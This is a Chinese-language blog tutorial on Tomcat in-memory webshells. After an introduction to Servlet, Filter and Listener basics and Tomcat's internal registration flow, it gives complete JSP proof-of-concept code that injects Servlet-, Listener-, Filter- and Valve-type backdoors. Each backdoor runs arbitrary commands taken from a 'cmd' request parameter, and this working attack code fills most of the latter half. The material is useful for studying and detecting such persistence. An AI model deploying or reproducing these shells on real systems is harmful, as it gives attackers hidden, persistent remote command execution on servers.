tomcat記憶體馬

高人于斯發表於2024-09-02

Tomcat 記憶體馬學習

記憶體馬主要分為以下幾類:

  • servlet-api類
  • filter型
  • servlet型
  • spring類
  • 攔截器
  • controller型
  • Java Instrumentation類
  • agent型

Tomcat 環境搭建

按照教程來就行了

參考:https://www.cnblogs.com/bktown/p/17636156.html#%E4%B8%8B%E8%BD%BDtomcat

maven 專案的 tomcat 搭建如果照著這個教程一般會出問題,參考:

https://blog.csdn.net/qq_45344586/article/details/131033139

問題解決參考:

https://blog.csdn.net/yugege5201314/article/details/134343903

反正就是把 web 目錄下的內容重新新增到 out 目錄中,

java web 三件套學習

Servlet

Servlet 是 JavaEE 的規範之一,通俗的來說就是 Java 介面,將來我們可以定義 Java 類來實現這個介面,並由 Web 伺服器執行 Servlet ,所以 TomCat 又被稱作 Servlet 容器。

Servlet 提供了動態 Web 資源開發技術,一種可以將網頁資料提交到 Java 程式碼,並且將 Java 程式的資料返回給網頁的技術,使用 Servlet 技術實現了不同使用者登入之後在頁面上動態的顯示不同內容等的功能。

生命週期

  • Servlet初始化後呼叫 init() 方法,讀取 web.xml 配置,完成物件的初始化功能
  • Servlet呼叫service()方法來處理客戶端請求
  • Servlet銷燬前呼叫destroy()方法
  • 最後Servlet由JVM的垃圾回收器進行垃圾回收

如何定義一個Servlet

第一步

只需要編寫一個類,繼承javax.servlet.http.HttpServlet類並重寫service方法。service方法會根據請求方法呼叫相應的doxxx方法,也可以直接重新相應的doxxx方法

先引入依賴(maven 專案才可以)

<dependency>  
    <groupId>javax.servlet</groupId>  
    <artifactId>javax.servlet-api</artifactId>  
    <version>3.1.0</version>  
    <scope>provided</scope>  
</dependency>

把這個依賴的範圍設定為 provided ,即只在編譯和測試的過程中有效,最後生成的 war 包中不會加入這個依賴 jar 包,因為 TomCat 檔案中本身就帶有這個 jar 包,如果不使用這個範圍,則會出現衝突。新增依賴範圍時只需要在依賴座標下面新增 <scope> 標籤。

可以看到 tomcat 的 lib 目錄下有這個 jar 包

一般不是 maven 專案的 tomcat 服務就可以直接從本地引入 jar 包。

第二步

定義一個類,用來實現 Servlet 介面,並重寫介面中的所有方法。

package org.example;  
  
import javax.servlet.*;  
import javax.servlet.annotation.WebServlet;  
import java.io.IOException;  
  
@WebServlet("/demo")  
public class servletdemo implements Servlet {  
  
    public void init(ServletConfig servletConfig) throws ServletException {  
  
    }  
  
    public ServletConfig getServletConfig() {  
        return null;  
    }  
  
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {  
        System.out.println("Hello");  
    }  
    
    public String getServletInfo() {  
        return null;  
    }  
    
    public void destroy() {  
  
    }  
}

利用 @WebServlet("/demo") 註解配置訪問路徑。

Servlet3.0之前的版本需要在web.xml中配置servlet標籤,servlet標籤是由servletservlet-mapping標籤組成,兩者之間透過在servletservlet-mapping標籤中同樣的servlet-name名稱來實現關聯的。

<servlet>
		<servlet-name>Nivia</servlet-name>
		<servlet-class>Servlet</servlet-class>
</servlet>
<servlet-mapping>
		<servlet-name>Nivia</servlet-name>
		<url-pattern>/nivia</url-pattern>
</servlet-mapping>

Servlet3.0之後支援註解配置,在任意的Java類新增 javax.servlet.annotation.WebServlet 註解即可,上面用的就是這種方法。

第三步

啟動配置好的 tomcat 服務,訪問剛剛配置的路徑,看到 idea 控制檯列印了剛才在 servlet() 方法中定義的輸出內容。

我們並沒有例項化這個 Servlet 類的物件,那麼為什麼 servlet() 方法被成功執行了呢?

執行流程

在上面的例子中,我們已經寫好一個 Servlet 的專案,並且將其部署到了 Web 伺服器 TomCat 中,此時我們可以根據對應的 url 在瀏覽器中訪問該伺服器資源。瀏覽器發出 http://localhost:8080/servlet-project/demo 請求,這個請求大致分為 3 部分,分別是:

  • 根據http://localhost:8080找到要訪問的 Tomcat 伺服器
  • 根據 servlet-project 找到部署在 TomCat 伺服器中的 Web 專案
  • 根據 demo 找到訪問的專案中的具體 Servlet,因為我們已經透過註解給 Servlet 配置了具體的訪問路徑

此時 Web 伺服器軟體 TomCat 將會建立一個 ServletDemo 的物件,這個物件稱為 Servlet 物件,並且該物件的 service() 方法也會被伺服器自動呼叫。當 service() 方法被呼叫執行後就會向客戶端瀏覽器傳送響應資料。上面的例子中我們沒有向瀏覽器傳送具體的資料,要想實現這個功能,我們就要繼續學習 ServletRequest 類和 ServletResponse 類。

java ✌的 demo,直接重新的 doGet 方法,這樣 service()方法還是以前的方法,然後根據瀏覽器的訪問方法去呼叫不同的 doxxx 方法進行處理,所以直接重寫 doxxx 方法也可以得到一樣的效果。

import java.io.*;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;

@WebServlet("/demo")
public class servlet extends HttpServlet {

    private String message;

    @Override
    public void init() throws ServletException {
        message = "demo";
    }
//初始化對message進行賦值
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.setContentType("text/html");

        PrintWriter out = resp.getWriter();
        out.println("<h1>" + message + "<h1>");
    }

    @Override
    public void destroy() {

    }
}

參考:https://nivi4.notion.site/Servlet-0c046c4cc9a04bfabca38c00136078ad

參考:https://blog.csdn.net/zhangxia_/article/details/128886023

Filter

javax.servlet.Filter 介面是一個過濾器,主要用於過濾URL請求,透過Filter我們可以實現URL請求資源許可權驗證、使用者登入檢測等功能

生命週期

  • Filter 初始化後呼叫 init() 方法,讀取web.xml配置,完成物件的初始化功能
  • Filter 呼叫 doFilter 方法來對客戶端請求進行預處理
  • Filter 銷燬前呼叫 destroy() 方法
  • 最後 Filter 由JVM的垃圾回收器進行垃圾回收

如何定義一個 Filter

重寫基本的生命週期方法即可:

package org.example;  
  
import javax.servlet.*;  
import javax.servlet.annotation.WebFilter;  
import java.io.IOException;  
import java.io.PrintWriter;  
  
@WebFilter("/*")  
public class filterdemo implements Filter {  
  
    @Override  
    public void init(FilterConfig filterConfig) throws ServletException {  
  
    }  
  
    @Override  
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {  
        System.out.println("filter");  
        filterChain.doFilter(servletRequest, servletResponse);  
    }  
  
    @Override  
    public void destroy() {  
  
    }  
}

其中 web.xml 配置,Filter的配置類似於Servlet,由<filter>和<filter-mapping>兩組標籤組成

<filter>
<filter-name>Nivia</filter-name>
<filter-class>Servlet</filter-class>
</filter>
<filter-mapping>
<filter-name>Nivia</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

如果Servlet版本大於3.0同樣可以使用註解的方式配置Filter,如上。

然後執行 tomcat 服務,發現 filter 呼叫確實是在 servlet 前面。

Filter 鏈

上面 demo 程式碼中的 filterChain.doFilter(servletRequest, servletResponse); 就是是傳遞給下一個Filter鏈處理。

當多個filter同時存在的時候,組成了filter鏈。web伺服器根據Filter在web.xml檔案中的註冊順序,決定先呼叫哪個Filter。當第一個Filter的doFilter方法被呼叫時,web伺服器會建立一個代表Filter鏈的FilterChain物件傳遞給該方法,透過判斷FilterChain中是否還有filter決定後面是否還呼叫filter。

Listener

事件:某個方法被呼叫,或者屬性改變
事件源:被監聽的物件
監聽器:用於監聽事件源,當發生事件時會觸發監聽器

監聽器分類

如何定義一個 Listener

根據不同的事件源來選擇不同的介面,這裡選擇 ServletRequestListener,這樣當訪問相應路由是就會進行呼叫。

package org.example;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class Listenerdemo implements ServletRequestListener {

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("1");
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("2");
    }
}

需要在web.xml中配置監聽器類名,沒有註解方法。

<listener>  
    <listener-class>org.example.listenerdemo</listener-class>  
</listener>

然後直接執行 tomcat 服務,可以看到 servlet 初始化時呼叫了一次,然後就是 dofilter 呼叫,在呼叫 servlet,最後銷燬時又呼叫了一次監聽器

順序:

lstenner->filter->servelt

tomcat 記憶體馬

Servlet、Listener、Filter由javax.servlet.ServletContext去載入,無論是使用xml配置檔案還是使用Annotation註解配置,均由Web容器進行初始化,讀取其中的配置屬性,然後向容器中進行註冊。

ServletContext物件,它是Servlet的上下文,它記錄著Servlet的相關資訊。

在Servlet 3.0 API中,允許ServletContext使用動態進行註冊,在Web容器初始化時,也就說建立ServletContext物件的時候進行動態註冊,它提供了add*/create*方法來實現動態注入的功能

servlet 型

一個簡單的Servlet,照著上面的寫就行了。

package org.example;  
import java.io.*;  
import javax.servlet.*;  
import javax.servlet.annotation.WebServlet;  
import javax.servlet.http.*;  
  
@WebServlet("/test")  
public class servletdemo extends HttpServlet {  
  
    private String message;  
  
    @Override  
    public void init() throws ServletException {  
        message = "test";  
    }  
  
    @Override  
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  
        resp.setContentType("text/html");  
  
        PrintWriter out = resp.getWriter();  
        out.println("<h1>" + message + "<h1>");  
    }  
  
    @Override  
    public void destroy() {  
  
    }  
}

sevlet 建立流程分析

需要先引入庫,因為我直接本地引入 tomcat 的 lib 庫沒法下載原始碼,所以我用的是 maven 專案,直接在 pom.xml 新增

<dependency>  
    <groupId>org.apache.tomcat</groupId>  
    <artifactId>tomcat-catalina</artifactId>  
    <version>9.0.93</version>  
    <scope>provided</scope>  
</dependency>

<scope>provided</scope> 同樣防止和本地的 jar 包衝突(雖然這裡版本是和 tomcat 一樣的感覺應該沒什麼影響)。

init()方法呼叫棧

建立StandardWrapper

LifecycleBase # startInternal 中,呼叫了 fireLifecycleEvent() 方法解析web.xml檔案,我們跟進

然後呼叫 configureStart() 方法,最後呼叫 webconfig()解析web.xml獲取各種配置引數

看到都是一些引數,在 webconfig() 中執行的 WebXml webXml = createWebXml();

引數是 null 很正常,因為我的 web.xml 配置檔案什麼都沒寫,路徑是用的註解類進行註冊。

然後又呼叫 configureContext 方法,引數 webxml 就是上面執行 createWebXml() 的結果。這個方法是建立StandWrapper物件,並根據解析引數初始化StandWrapper物件

最後透過 addServletMappingDecoded() 方法新增Servlet對應的url對映。

載入 StandardWrapper

接著在StandardContext#startInternal方法透過findChildren()獲取StandardWrapper

然後會呼叫 loadOnStartup 來載入 wrapper,不過在這之前會先對 Listener、Filter 進行載入,如果有的話。

跟進 StandardWrapper#loadOnStartup 方法

傳入的引數 children 是個 container 物件,container 物件封裝了剛剛傳入 StandardWrapper 物件

看到最後一個 Wrapper 正好對應著我們建立的 Servlet 的資訊,如果我們想注入惡意記憶體馬可以嘗試向這個Container物件中,加入惡意構造的StandardWrapper物件。

注意這裡對於 Wrapper 物件中 loadOnStartup 屬性的值進行判斷,只有大於0的才會被放入 list 陣列進行後續的 wrapper.load() 載入呼叫。

發現最後一個包含了 servlet 資訊的 Wrapper 該屬性並不滿足條件,屬性值是-1

這裡對應的實際上就是Tomcat Servlet的懶載入機制,可以透過 loadOnStartup 屬性值來設定每個Servlet的啟動順序。預設值為-1,此時只有當Servlet被呼叫時才載入到記憶體中。

然後 load 方法會呼叫 loadServlet(),然後又呼叫了 initServlet() 方法,

看到這裡的的 servlet 是預設的,剛剛說了嘛,我們自己建立的 serlvet 方法的 loadOnStartup 屬性是 -1,並不會呼叫 load 進行載入,只有訪問註冊的路由如"/test"才會被 load 進記憶體中。

最後在呼叫 servlet.init(facade) 載入 standardwrapper 物件完成初始化。

至此 servlet 建立流程就算結束,雖然這裡是預設的 servlet,然後訪問註冊路徑就會在執行把自己建立的 serlvet 載入進。

注入 servlet 型記憶體馬

  1. 獲取StandardContext物件
  2. 編寫惡意Servlet
  3. 透過StandardContext.createWrapper()建立StandardWrapper物件
  4. 設定StandardWrapper物件的loadOnStartup屬性值
  5. 設定StandardWrapper物件的ServletName屬性值
  6. 設定StandardWrapper物件的ServletClass屬性值
  7. StandardWrapper物件新增進StandardContext物件的children屬性中
  8. 透過StandardContext.addServletMappingDecoded()新增對應的路徑對映

獲取 StandardContext 物件

方法有很多,

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
%>

更多詳細方法參考:https://xz.aliyun.com/t/9914

編寫惡意Servlet

<%!
    public class Shell_Servlet implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    }
%>

建立Wrapper物件

<%
    Shell_Servlet shell_servlet = new Shell_Servlet();
    String name = shell_servlet.getClass().getSimpleName();
 
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());
%>

將Wrapper新增進StandardContext

<%
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
%>

完整 poc

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
 
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
%>
 
<%!
 
    public class Shell_Servlet implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    }
 
%>
 
<%
    Shell_Servlet shell_servlet = new Shell_Servlet();
    String name = shell_servlet.getClass().getSimpleName();
 
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());
%>
 
<%
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
%>

寫入 shell.jsp 檔案,然後訪問進行路由註冊,

成功執行。

Listener型

Listener的種類諸多,其中ServletRequestListener用於監聽ServletRequest物件的建立和銷燬過程,比較適合做記憶體馬,只要訪問相關服務就可以觸發相關惡意程式碼(對照上面的 listener 監聽器分兩類)。

listener 建立過程分析

其使用 ServletRequestListener 監聽器時的呼叫棧

回溯到 fireRequestInitEvent 方法,

針對ServletRequestListener,首先會呼叫getApplicationEventListeners方法,獲取所有的Listener物件

也就是說所有的Listener物件透過getApplicationEventListeners方法獲取,正好也提供了相關setter和add方法


所以我們可以嘗試向applicationEventListenersList中新增一個惡意Listener

注入 listener 型記憶體馬

  1. 獲取StandardContext上下文
  2. 實現一個惡意Listener
  3. 透過StandardContext#addApplicationEventListener方法新增惡意Listener

獲取 StandardContext 物件

首先還是要獲取到當前環境的StandardContext物件

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

編寫一個惡意的Listener

<%!
    public class Shell_Listener implements ServletRequestListener {
 
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
        }
 
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>

最後新增監聽器

<%
Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>

完整 poc

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
 
<%!
    public class Shell_Listener implements ServletRequestListener {
 
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
           String cmd = request.getParameter("cmd");
           if (cmd != null) {
               try {
                   Runtime.getRuntime().exec(cmd);
               } catch (IOException e) {
                   e.printStackTrace();
               } catch (NullPointerException n) {
                   n.printStackTrace();
               }
            }
        }
 
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
 
    Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>

訪問寫的 jsp 記憶體馬路徑

然後就可以執行命令了

Filter型

Filter 建立過程分析

init()函式初始化呼叫棧

跟進 ApplicationFilterChain#internalDoFilter

看到最後執行的執行了 filter.init 方法進行初始化,這裡的 filter 是透過 filterConfig.getFilter() 得到的(在 internalDoFilter 方法中)

一個filterConfig對應一個Filter,用於儲存Filter的上下文資訊。這裡的 filters 屬性是一個 ApplicationFilterConfig 陣列。現在需要尋找一下 ApplicationFilterChain.filters 屬性在哪裡被賦值。

發現在 StandardWrapperValve#invoke() 方法中,透過 ApplicationFilterFactory.createFilterChain() 方法初始化了一個 ApplicationFilterChain

這裡面有具體的filterChain物件的建立過程

  1. 首先透過filterChain = new ApplicationFilterChain()建立一個空的filterChain物件
  2. 然後透過wrapper.getParent()函式來獲取StandardContext物件
  3. 接著獲取StandardContext中的FilterMaps物件,FilterMaps物件中儲存的是各Filter的名稱路徑等資訊
  4. 最後根據Filter的名稱,在StandardContext中獲取FilterConfig
  5. 透過filterChain.addFilter(filterConfig)將一個filterConfig新增到filterChain

所以關鍵就是將惡意Filter的資訊新增進FilterConfig陣列中,這樣Tomcat在啟動時就會自動初始化我們的惡意Filter。

FilterConfigs

其中filterConfigs包含了當前的上下文資訊StandardContext、以及filterDef等資訊

其中filterDef存放了filter的定義,包括filterClass、filterName等資訊。對應的其實就是web.xml中的<filter>標籤。可以看到,filterDef必要的屬性為filterfilterClass以及filterName

filterDefs

filterDefs是一個HashMap,以鍵值對的形式儲存filterDef

filterMaps

filterMaps中以array的形式存放各filter的路徑對映資訊,其對應的是web.xml中的<filter-mapping>標籤

filterMaps必要的屬性為dispatcherMappingfilterNameurlPatterns

注入 filter 型記憶體馬

  1. 獲取StandardContext物件
  2. 建立惡意Filter
  3. 使用FilterDef對Filter進行封裝,並新增必要的屬性
  4. 建立filterMap類,並將路徑和Filtername繫結,然後將其新增到filterMaps中
  5. 使用ApplicationFilterConfig封裝filterDef,然後將其新增到filterConfigs中

獲取StandardContext物件

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

建立惡意Filter

<%
public class Shell_Filter implements Filter {
    
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd=request.getParameter("cmd");
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }catch (NullPointerException n){
            n.printStackTrace();
        }
    }
}
%>

使用FilterDef封裝filter

<%
Shell_Filter filter = new Shell_Filter();
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
%>

建立filterMap

filterMap用於filter和路徑的繫結

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

封裝filterConfig及filterDef到filterConfigs

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
    
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);

完整POC

<%@ page import="java.io.IOException" %>  
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="org.apache.catalina.core.ApplicationContext" %>  
<%@ page import="org.apache.catalina.core.StandardContext" %>  
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>  
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>  
<%@ page import="java.lang.reflect.Constructor" %>  
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>  
<%@ page import="org.apache.catalina.Context" %>  
<%@ page import="java.util.Map" %>  
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
  
  
<%  
    ServletContext servletContext = request.getSession().getServletContext();  
    Field appContextField = servletContext.getClass().getDeclaredField("context");  
    appContextField.setAccessible(true);  
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);    Field standardContextField = applicationContext.getClass().getDeclaredField("context");  
    standardContextField.setAccessible(true);  
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);%>  
  
<%!  
    public class Shell_Filter implements Filter {  
        @Override  
        public void init(FilterConfig filterConfig) throws ServletException {  
  
        }  
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {  
        String cmd = request.getParameter("cmd");  
        if (cmd != null) {  
            try {  
                Runtime.getRuntime().exec(cmd);  
            } catch (IOException e) {  
                e.printStackTrace();            } catch (NullPointerException n) {  
                n.printStackTrace();            }        }        chain.doFilter(request, response);    }  
        @Override  
        public void destroy() {  
  
        }    }%>  
  
<%  
    Shell_Filter filter = new Shell_Filter();  
    String name = "CommonFilter";  
    FilterDef filterDef = new FilterDef();  
    filterDef.setFilter(filter);    filterDef.setFilterName(name);    filterDef.setFilterClass(filter.getClass().getName());    standardContext.addFilterDef(filterDef);  
  
    FilterMap filterMap = new FilterMap();  
    filterMap.addURLPattern("/*");  
    filterMap.setFilterName(name);    filterMap.setDispatcher(DispatcherType.REQUEST.name());  
    standardContext.addFilterMapBefore(filterMap);  
  
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");  
    Configs.setAccessible(true);  
    Map filterConfigs = (Map) Configs.get(standardContext);  
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);  
    constructor.setAccessible(true);  
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);    filterConfigs.put(name, filterConfig);%>

Valve型

tomcat 管道機制

我們知道,當Tomcat接收到客戶端請求時,首先會使用Connector進行解析,然後傳送到Container進行處理。那麼我們的訊息又是怎麼在四類子容器中層層傳遞,最終送到Servlet進行處理的呢?這裡涉及到的機制就是Tomcat管道機制。

這裡的呼叫流程可以類比為Filter中的責任鏈機制

在Tomcat中,四大元件Engine、Host、Context以及Wrapper都有其對應的Valve類,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他們同時維護一個StandardPipeline例項。

管道機制流程分析

先看看Pipeline介面

繼承了 Contained 介面,Pipeline介面提供了各種對Valve的操作方法,如我們可以透過 addValve() 方法來新增一個Valve。然後 valve 介面中的 getNext() 方法又可以用來獲取下一個Valve,Valve的呼叫過程可以理解成類似Filter中的責任鏈模式,按順序呼叫。

其中我們可以透過重寫 invoke() 方法來實現具體的業務邏輯,如:

class Shell_Valve extends ValveBase {

    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        ...
        }
    }
}

下面我們透過原始碼看一看,訊息在容器之間是如何傳遞的。首先訊息傳遞到Connector被解析後,在 org.apache.catalina.connector.CoyoteAdapter#service 方法中,其中重點是

connector.getService().getContainer().getPipeline().getFirst().invoke(request, response)

connector.getService() 獲得一個 StandardService 物件,接著透過 StandardService. getContainer().getPipeline() 獲取 StandardPipeline 物件。然後獲得第一個 vaule 並執行其具體業務功能。所以我只有把惡意的 value 新增進 vaule 就行。

注入 value 型記憶體馬

獲取StandardPipeline物件

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
    Pipeline pipeline = standardContext.getPipeline();
%>

編寫惡意Valve類

<%!
    class Shell_Valve extends ValveBase {
 
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
    }
%>

將惡意Valve新增進StandardPipeline

<%
    Shell_Valve shell_valve = new Shell_Valve();
    pipeline.addValve(shell_valve);
%>

完整POC

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
 
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
 
    Pipeline pipeline = standardContext.getPipeline();
%>
 
<%!
    class Shell_Valve extends ValveBase {
 
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
    }
%>
 
<%
    Shell_Valve shell_valve = new Shell_Valve();
    pipeline.addValve(shell_valve);
%>

參考:https://goodapple.top/archives/1355

參考:https://nivi4.notion.site/Tomcat-d0595e7ca2a94bf6b6726a288a8e8b2b

相關文章